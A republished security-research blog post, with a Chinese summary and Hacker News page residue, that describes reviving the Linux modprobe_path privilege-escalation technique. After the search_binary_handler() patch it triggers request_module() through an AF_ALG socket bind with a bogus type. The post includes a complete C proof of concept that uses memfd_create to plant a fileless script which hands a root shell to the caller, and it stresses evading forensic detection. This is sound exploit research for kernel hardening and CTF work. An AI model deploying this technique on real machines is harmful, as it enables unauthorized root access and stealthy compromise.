重拾 modprobe_path 技术:克服 search_binary_handler() 补丁
Reviving the modprobe_path Technique: Overcoming search_binary_handler() Patch

原始链接: https://blog.theori.io/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch-2dcb8f0fae04

这篇博文介绍了一种利用`modprobe_path`漏洞进行提权的新方法,该方法绕过了最近内核补丁对传统虚拟文件执行触发器的禁用。`modprobe_path`技术涉及到将存储内核模块加载器路径的`modprobe_path`变量覆盖为恶意脚本的路径。补丁发布后,通过虚拟文件触发`modprobe_path`已不再可能。 作者提出使用AF_ALG套接字接口作为替代触发器。通过创建AF_ALG套接字并使用无效的`salg_type`调用`bind()`函数,可以调用`request_module()`函数,最终导致执行现在已被覆盖的`modprobe_path`中指定的路径。 提供的概念验证代码使用`memfd_create()`创建一个无文件的匿名内存映射,其中包含一个重定向I/O的shell脚本,使其更难以检测。然后,它将`modprobe_path`覆盖为指向此内存映射的路径,最后使用AF_ALG套接字触发漏洞。这允许即使在挂载命名空间内也能进行无文件的权限提升,方法是结合PID猜测。这种技术提供了一种可靠的方法来利用`modprobe_path`,即使在较新的内核中也是如此。

Hacker News 最新 | 过去 | 评论 | 提问 | 展示 | 招聘 | 提交 登录 重拾 modprobe_path 技术:克服 search_binary_handler() 补丁 (theori.io) 3 分,来自 todsacerdoti,2 小时前 | 隐藏 | 过去 | 收藏 | 讨论 加入我们 6 月 16-17 日在旧金山举办的 AI 初创公司学校! 指导原则 | 常见问题 | 列表 | API | 安全 | 法律 | 申请 YC | 联系我们 搜索:

原文
Theori Vulnerability Research
Theori BLOG

This blog post introduces a new method for utilizing the Overwriting modprobe_path technique. Since this patch was merged last year, it is no longer possible to trigger modprobe_path in the Upstream kernel by executing dummy files.

The Overwriting modprobe_path technique is, in simple terms, a method for achieving privilege escalation by overwriting the modprobe_path symbol when an Arbitrary Address Write (AAW) primitive is available. Due to its simplicity and effectiveness, this technique has been widely used by kernel exploit developers over the past few years.

Since there are already numerous blog posts explaining this technique in detail, I will only provide a brief summary before moving on.

First, in kernel versions prior to v6.14-rc1, when a user attempts to execute a dummy file starting with a magic number such as \xff\xff\xff\xff, the following call stack is triggered:

sys_execve()
=> do_execve()
=> do_execveat_common()
=> bprm_execve()
=> exec_binprm()
=> search_binary_handler()
=> request_module()
=> __request_module()
=> call_modprobe()
=> call_usermodehelper_exec()
=> queue_work(call_usermodehelper_exec_work)
[ kworker ]
call_usermodehelper_exec_work()
=> call_usermodehelper_exec_sync()
=> call_usermodehelper_exec_async()
=> kernel_execve()

In the call stack, call_modprobe() retrieves the file path[2] from the global variable modprobe_path[] [1], and then it calls call_usermodehelper_exec() [3], which executes the file at the specified path in user space.

char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;    // [1]
static int call_modprobe(char *orig_module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
...
argv[0] = modprobe_path; // [2]
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE); // [3]

Typically, modprobe_path[] contains /sbin/modprobe, which points to the binary responsible for loading and unloading kernel modules. If the binary is executed through call_usermodehelper_exec(), it is run with root privileges.

However, since the modprobe_path[] variable is writable [1], it can be overwritten. If an attacker uses an AAW primitive to overwrite modprobe_path[] with the path of a file that executes a shell, and then triggers the execution by running a dummy file, the shell will be executed with root privileges, resulting in a successful privilege escalation.

Last November, a patch removing legacy code from /fs/exec.c was merged into Upstream.

Looking at the diff of this patch, the flow that calls request_module() has been completely removed [4], so search_binary_handler() no longer invokes request_module().

@@ -1760,17 +1756,7 @@ static int search_binary_handler(struct linux_binprm *bprm)
}
read_unlock(&binfmt_lock);
// [4]
- if (need_retry) {
- if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
- printable(bprm->buf[2]) && printable(bprm->buf[3]))
- return retval;
- if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
- return retval;
- need_retry = false;
- goto retry;
- }
-
- return retval;
+ return -ENOEXEC;
}

/* binfmt handlers will call back into begin_new_exec() on success. */

To reach call_modprobe(), which references the modprobe_path[] variable, calling request_module() is essential. As a result of this patch, the method that has been used for several years—triggering modprobe_path by executing a dummy file—is no longer viable.

However, there is a simple idea. Since request_module() references the modprobe_path[] variable when attempting to load a module, if we can find another execution flow that calls request_module(), this technique can still be used.

There are numerous call stacks that invoke request_module(). Among them, we need to identify a flow that meets the following conditions:

  1. Does not require capabilities when triggered
  2. Part of a subsystem included in major distributions
  3. Reaches request_module() without excessive processing to ensure exploit stability

One of the subsystems that meets all the conditions is the AF_ALG socket. AF_ALG is a socket-based interface that allows user space to access the kernel's cryptographic API, but in this technique, it is used without invoking any cryptographic functionality.

When bind() is called on this socket, it triggers the alg_bind() function. This function searches for the type corresponding to the user-provided sa->salg_type [5], and if not found, it calls request_module() to attempt loading the "algif-%s" module [6].

static const struct proto_ops alg_proto_ops = {
.family = PF_ALG,
.owner = THIS_MODULE,
...
.bind = alg_bind,
.release = af_alg_release,
.setsockopt = alg_setsockopt,
.accept = alg_accept,
};
static int alg_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len)
{
const u32 allowed = CRYPTO_ALG_KERN_DRIVER_ONLY;
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct sockaddr_alg_new *sa = (void *)uaddr;
const struct af_alg_type *type;
void *private;
int err;
...
sa->salg_type[sizeof(sa->salg_type) - 1] = 0;
sa->salg_name[addr_len - sizeof(*sa) - 1] = 0;
type = alg_get_type(sa->salg_type); // [5]
if (PTR_ERR(type) == -ENOENT) {
request_module("algif-%s", sa->salg_type); // [6]
type = alg_get_type(sa->salg_type);
}

If a dummy string that does not correspond to a valid cryptographic type is passed to sa->salg_type, request_module() will always be invoked. Ultimately, this allows execution of the file stored in the modprobe_path[] variable with root privileges.

The method using the AF_ALG socket does not require creating a file, unlike the approach that triggers execution by running a /tmp/dummy file starting with magic number \xff\xff\xff\xff. Additionally, when chained with memfd_create() technique developed by lau, a fully fileless technique can still be used. This significantly reduces the likelihood of detection by security software and forensic analysis.

The complete PoC is as follows:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MODPROBE_SCRIPT "#!/bin/sh\\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\\n"

int main(void)
{
char fake_modprobe[40] = {0};
struct sockaddr_alg sa;
pid_t pid = getpid();

int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int shell_stdin_fd = dup(STDIN_FILENO);
int shell_stdout_fd = dup(STDOUT_FILENO);

dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
snprintf(fake_modprobe, sizeof(fake_modprobe), "/proc/%i/fd/%i", pid, modprobe_script_fd);

// Overwriting modprobe_path with fake_modprobe here...

int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) {
perror("socket(AF_ALG) failed");
return 1;
}

memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "V4bel"); // dummy string
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

return 0;
}

First, memfd_create() is used to create an anonymous memory mapping. This mapping is then populated with MODPROBE_SCRIPT, which launches a remote shell and redirects execution to the current process [7]. After that, the string /proc/<pid>/fd/<memfd_fd>, which points to this anonymous memory mapping, is stored in the fake_modprobe variable [8].

#define MODPROBE_SCRIPT "#!/bin/sh\\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\\n"

int main(void)
{
char fake_modprobe[40] = {0};
struct sockaddr_alg sa;
pid_t pid = getpid();

int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int shell_stdin_fd = dup(STDIN_FILENO);
int shell_stdout_fd = dup(STDOUT_FILENO);

dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd); // [7]
snprintf(fake_modprobe, sizeof(fake_modprobe), "/proc/%i/fd/%i", pid, modprobe_script_fd); // [8]

Using the AAW primitive, the modprobe_path[] is overwritten with fake_modprobe. Then, an AF_ALG socket is created, followed by a call to bind() with a dummy string as an argument [9]. This make the kernel execute alg_bind() → request_module(), leading to the execution of /proc/<pid>/fd/<memfd_fd>, which was written to modprobe_path[]. At this point, a root shell is executed and redirected to the current process, granting a remote shell and achieving privilege escalation.

        int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) {
perror("socket(AF_ALG) failed");
return 1;
}

memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "V4bel"); // [9] dummy string
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

To apply this technique within a mount namespace, such as in environments like kernelCTF, the only additional step required is implementing PID guessing as described in lau’s approach.

In this post, I introduced a simple and effective method to utilize the modprobe_path technique even after the /fs/exec.c patch. Additionally, by chaining it with lau's technique, I demonstrated that the modprobe_path technique can still be used without files.

Currently, the /fs/exec.c patch has only been merged into the Upstream kernel and has not yet been backported to the stable tree or distribution kernels. Therefore, the dummy file execution technique remains available on distribution kernels. In the future, once the patch is backported, you can leverage various flows that invoke request_module(), such as AF_ALG.

联系我们 contact @ memedata.com